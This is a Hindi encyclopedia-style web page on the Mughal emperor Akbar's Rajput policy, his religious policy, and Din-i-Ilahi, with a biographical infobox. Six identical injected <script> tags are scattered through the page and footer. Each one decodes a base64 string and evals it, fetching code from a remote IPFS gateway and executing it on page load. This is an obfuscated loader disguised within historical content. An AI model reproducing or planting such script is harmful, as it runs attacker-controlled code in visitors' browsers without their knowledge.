अकबर की राजपूत व धार्मिक नीति

भारत डिस्कवरी प्रस्तुति
(अकबर की धार्मिक नीति से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें
अकबर विषय सूची
अकबर की राजपूत व धार्मिक नीति
अकबर
पूरा नाम जलालउद्दीन मुहम्मद अकबर
जन्म 15 अक्टूबर सन 1542 (लगभग)
जन्म भूमि अमरकोट, सिन्ध (पाकिस्तान)
मृत्यु तिथि 27 अक्टूबर, सन 1605 (उम्र 63 वर्ष)
मृत्यु स्थान फ़तेहपुर सीकरी, आगरा
पिता/माता हुमायूँ, मरियम मक़ानी
पति/पत्नी मरीयम-उज़्-ज़मानी (हरका बाई)
संतान जहाँगीर के अलावा 5 पुत्र 7 बेटियाँ
शासन काल 27 जनवरी, 1556 - 27 अक्टूबर, 1605 ई.
राज्याभिषेक 14 फ़रवरी, 1556 कलानपुर के पास गुरदासपुर
युद्ध पानीपत, हल्दीघाटी
राजधानी फ़तेहपुर सीकरी आगरा, दिल्ली
पूर्वाधिकारी हुमायूँ
उत्तराधिकारी जहाँगीर
राजघराना मुग़ल
मक़बरा सिकन्दरा, आगरा
संबंधित लेख मुग़ल काल

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अकबर की राजपूत नीति उसकी गहन सूझ-बूझ का परिणाम थी। अकबर राजपूतों की शत्रुता से अधिक उनकी मित्रता को महत्व देता था। अकबर की राजपूत नीति दमन और समझौते पर आधारित थी। उसके द्वारा अपनायी गयी नीति पर दोनों पक्षों का हित निर्भर करता था। अकबर ने राजपूत राजाओं से दोस्ती कर श्रेष्ठ एवं स्वामिभक्त राजपूत वीरों को अपनी सेवा में लिया, जिससे मुग़ल साम्राज्य काफ़ी दिन तक जीवित रह सका। राजपूतों ने मुग़लों से दोस्ती एवं वैवाहिक सम्बन्ध स्थापित कर अपने को अधिक सुरक्षित महसूस किया। इस तरह अकबर की एक स्थायी, शक्तिशाली एवं विस्तृत साम्राज्य की कल्पना को साकार करने में राजपूतों ने महत्त्वपूर्ण योगदान दिया। अकबर ने कुछ राजपूत राजाओं जैसे- भगवान दास, राजा मानसिंह, बीरबल एवं टोडरमल को उच्च मनसब प्रदान किया था। अकबर ने सभी राजपूत राजाओं से स्वयं के सिक्के चलाने का अधिकार छीन लिया तथा उनके राज्य में भी शाही सिक्कों का प्रचलन करवाया।

धार्मिक नीति

अकबर प्रथम सम्राट था, जिसके धार्मिक विचारों में क्रमिक विकास दिखायी पड़ता है। उसके इस विकास को तीन कालों में विभाजित किया जा सकता है-

  • प्रथम काल (1556-1575 ई.) - इस काल में अकबर इस्लाम धर्म का कट्टर अनुयायी था। जहाँ उसने इस्लाम की उन्नति हेतु अनेक मस्जिदों का निर्माण कराया, वहीं दिन में पाँच बार नमाज़ पढ़ना, रोज़े रखना, मुल्ला मौलवियों का आदर करना, जैसे उसके मुख्य इस्लामिक कृत्य थे।
  • द्वितीय काल (1575-1582 ई.) - अकबर का यह काल धार्मिक दृष्टि से क्रांतिकारी काल था। 1575 ई. में उसने फ़तेहपुर सीकरी में इबादतखाने की स्थापना की। उसने 1578 ई. में इबादतखाने को धर्म संसद में बदल दिया। उसने शुक्रवार को मांस खाना छोड़ दिया। अगस्त-सितम्बर, 1579 ई. में महजर की घोषणा कर अकबर धार्मिक मामलों में सर्वोच्च निर्णायक बन गया। 'महजरनामा' का प्रारूप शेख़ मुबारक द्वारा तैयार किया गया था। उलेमाओं ने अकबर को ‘इमामे-आदिल’ घोषित कर विवादास्पद क़ानूनी मामले पर आवश्यकतानुसार निर्णय का अधिकार दिया।
  • तृतीय काल (1582-1605 ई.) - इस काल में अकबर पूर्णरूपेण 'दीन-ए-इलाही' में अनुरक्त हो गया। इस्लाम धर्म में उसकी निष्ठा कम हो गयी। हर रविवार की संध्या को इबादतखाने में विभिन्न धर्मों के लोग एकत्र होकर धार्मिक विषयों पर वाद-विवाद किया करते थे। इबादतखाने के प्रारम्भिक दिनों में शेख़, पीर, उलेमा ही यहाँ धार्मिक वार्ता हेतु उपस्थित होते थे, परन्तु कालान्तर में अन्य धर्मों के लोग जैसे ईसाई, जरथुस्ट्रवादी, हिन्दू, जैन, बौद्ध, फ़ारसी, सूफ़ी आदि को इबादतखाने में अपने-अपने धर्म के पत्र को प्रस्तुत करने के लिए आमंत्रित किया गया। इबादतखाने में होने वाले धार्मिक वाद विवादों में अबुल फ़ज़ल की महत्त्वपूर्ण भूमिका होती थी।

दीन-ए-इलाही

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सभी धर्मों के सार संग्रह के रूप में अकबर ने 1582 ई. में दीन-ए-इलाही (तौहीद-ए-इलाही) या दैवी एकेश्वरवाद नामक धर्म का प्रवर्तन किया तथा उसे राजकीय धर्म घोषित कर दिया। इस धर्म का प्रधान पुरोहित अबुल फ़ज़ल था। इस धर्म में दीक्षा प्राप्त करने वाला व्यक्ति अपनी पगड़ी एवं सिर को सम्राट अकबर के चरणों में रखता था। सम्राट उसे उठाकर उसके सिर पर पुन: पगड़ी रखकर ‘शस्त’ (अपना स्वरूप) प्रदान करता था, जिस पर ‘अल्ला हो अकबर’ खुदा रहता था। इस मत के अनुयायी को अपने जीवित रहने के समय ही श्राद्ध भोज देना होता था। माँस खाने पर प्रतिबन्ध था एवं वृद्ध महिला तथा कम उम्र की लड़कियों से विवाह करने पर पूर्णत: रोक थी। महत्त्वपूर्ण हिन्दू राजाओं में बीरबल ने इस धर्म को स्वीकार किया था। इतिहासकार स्मिथ ने दीन-ए-इलाही पर उदगार व्यक्त करते हुए कहा है कि, ‘यह उसकी साम्राज्यवादी भावनाओं का शिशु व उसकी राजनीतिक महत्वाकांक्षाओं का एक धार्मिक जामा है।’ स्मिथ ने यह भी लिखा है कि, ‘दीन-ए-इलाही’ अकबर के अहंकार एवं निरंकुशता की भावना की उपज थी। 1583 ई. में एक नया कैलेण्डर इलाही संवत् शुरू किया। अकबर पर इस्लाम धर्म के बाद सबसे अधिक प्रभाव हिन्दू धर्म का था।



पीछे जाएँ
अकबर की राजपूत व धार्मिक नीति
आगे जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>